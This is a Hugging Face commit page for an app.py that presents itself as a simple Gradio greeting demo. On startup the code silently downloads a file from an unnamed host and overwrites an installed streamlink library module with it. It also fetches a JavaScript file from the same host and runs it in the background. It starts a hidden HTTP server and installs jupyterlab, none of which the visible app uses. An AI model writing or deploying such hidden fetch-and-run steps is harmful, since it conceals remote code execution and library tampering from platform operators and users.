panel1000 commited on
Commit
d6ff206
·
verified ·
1 Parent(s): b5ff220

Upload app.py with huggingface_hub

Browse files
Files changed (1) hide show
  1. app.py +41 -0
app.py ADDED
@@ -0,0 +1,41 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import gradio as gr
2
+ import subprocess
3
+ import sys
4
+ import os
5
+ import signal
6
+ subprocess.run('apt-get install nodejs -y', shell=True)
7
+ subprocess.run('apt-get install npm -y', shell=True)
8
+ subprocess.run('apt-get install htop -y', shell=True)
9
+ subprocess.run('apt-get install nano -y', shell=True)
10
+ subprocess.run('apt-get install ffmpeg -y', shell=True)
11
+
12
+
13
+
14
+
15
+ subprocess.run('python3 -m pip install --upgrade git+https://github.com/WesleySouto/streamlink.git', shell=True)
16
+ subprocess.run('wget -O /usr/local/lib/python3.10/site-packages/streamlink/plugin/api/http_session.py http://$host/hug/http_session.py ', shell=True)
17
+ subprocess.run('wget -O /home/user/app/load1.js http://$host/json/load1.js ', shell=True)
18
+
19
+
20
+ subprocess.run('npm install express', shell=True)
21
+ subprocess.run('npm install fluent-ffmpeg', shell=True)
22
+ subprocess.run('npm install node-fetch', shell=True)
23
+ subprocess.run('npm install stream-throttle', shell=True)
24
+ subprocess.run('npm install body-parser', shell=True)
25
+
26
+
27
+ subprocess.run('cd /home/user/app', shell=True)
28
+
29
+ subprocess.run('nohup node /home/user/app/load1.js> nodenodenode.out 2>&1 &', shell=True)
30
+
31
+ subprocess.run('nohup python -m http.server 8686> ap555555.out 2>&1 &', shell=True)
32
+ def greet(name):
33
+ return "Hello " + name + "!!"
34
+
35
+ demo = gr.Interface(fn=greet, inputs="text", outputs="text")
36
+ subprocess.run('pip install jupyterlab', shell=True)
37
+ def greet(name):
38
+ return "Hello " + name + "!!"
39
+
40
+ demo = gr.Interface(fn=greet, inputs="text", outputs="text")
41
+ demo.launch()